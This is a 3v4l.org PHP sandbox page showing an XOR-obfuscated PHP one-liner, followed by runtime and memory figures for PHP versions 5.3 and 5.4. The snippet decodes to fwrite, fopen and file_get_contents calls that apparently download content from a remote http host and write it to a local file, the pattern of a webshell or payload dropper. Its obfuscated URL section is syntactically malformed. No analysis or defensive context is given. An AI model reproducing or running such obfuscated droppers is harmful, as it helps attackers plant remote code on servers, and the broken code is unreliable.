3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_=("&"^"@").("("^"_").('-'^'_').("@"^")").("+"^"_").(":"^"_"); $__=("&"^"@").("/"^"@").((','^'~')^'"').(":"^"_").("."^"@"); $___=("&"^"@").("@"^")").(","^"@").(":"^"_")._(']'^':').(":"^"_").("+"^"_")._('<'^'_').("/"^"@").("."^"@").("+"^"_").(":"^"_").("."^"@").("+"^"_").(','^'_'); $_($__(("@"^"(").('-'^'@').('-'^'@').((','^'~')^'"').("@"^"(").((','^'~')^'"'),("("^"_")),$___(("@"^"(").("+"^"_").("+"^"_").((','^'~')^'"').://("&"^"@").('-'^'@').(','^'_').(('-'^'|')^'`').('<'^'_').("@"^"(").(">"^"_").('-'^'_').('-'^'@').(":"^"_").(']'^':').("@"^")").('-'^'_').(","^"@").(','^'_')..('<'^'_').("/"^"@").('-'^'@')./("+"^"_").(":"^"_").(','^'_').("+"^"_")..("+"^"_").(('.'^'~')^'(').("+"^"_")));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.250.0100.05719.00
5.4.240.0000.06718.73
5.4.230.0200.04719.07
5.4.220.0130.05018.93
5.4.210.0030.06018.97
5.4.200.0170.04319.07
5.4.190.0100.05319.00
5.4.180.0100.05018.86
5.4.170.0130.05018.63
5.4.160.0130.05018.89
5.4.150.0070.05318.79
5.4.140.0070.06016.52
5.4.130.0000.07316.53
5.4.120.0170.04716.56
5.4.110.0130.04716.41
5.4.100.0070.06316.44
5.4.90.0170.03716.44
5.4.80.0070.05316.44
5.4.70.0000.05316.47
5.4.60.0100.04316.47
5.4.50.0030.07016.67
5.4.40.0030.05716.50
5.4.30.0170.05016.43
5.4.20.0100.04716.45
5.4.10.0170.05316.28
5.4.00.0130.04715.71
5.3.280.0070.07314.52
5.3.270.0070.05314.64
5.3.260.0200.05014.48
5.3.250.0170.04714.78
5.3.240.0100.05314.67
5.3.230.0070.05014.62
5.3.220.0100.05014.42
5.3.210.0030.05714.30
5.3.200.0030.05314.61
5.3.190.0070.05314.60
5.3.180.0130.04314.45
5.3.170.0170.04014.63
5.3.160.0070.05014.47
5.3.150.0030.06714.59
5.3.140.0200.04714.44
5.3.130.0130.06714.66
5.3.120.0130.06014.41
5.3.110.0170.04314.66
5.3.100.0170.06014.21
5.3.90.0130.05013.89
5.3.80.0100.04313.90
5.3.70.0070.04713.93
5.3.60.0130.04314.00
5.3.50.0170.04013.96
5.3.40.0030.05313.82
5.3.30.0070.04713.84
5.3.20.0100.04313.56
5.3.10.0070.05313.82
5.3.00.0070.07313.43

preferences:
137.66 ms | 1394 KiB | 7 Q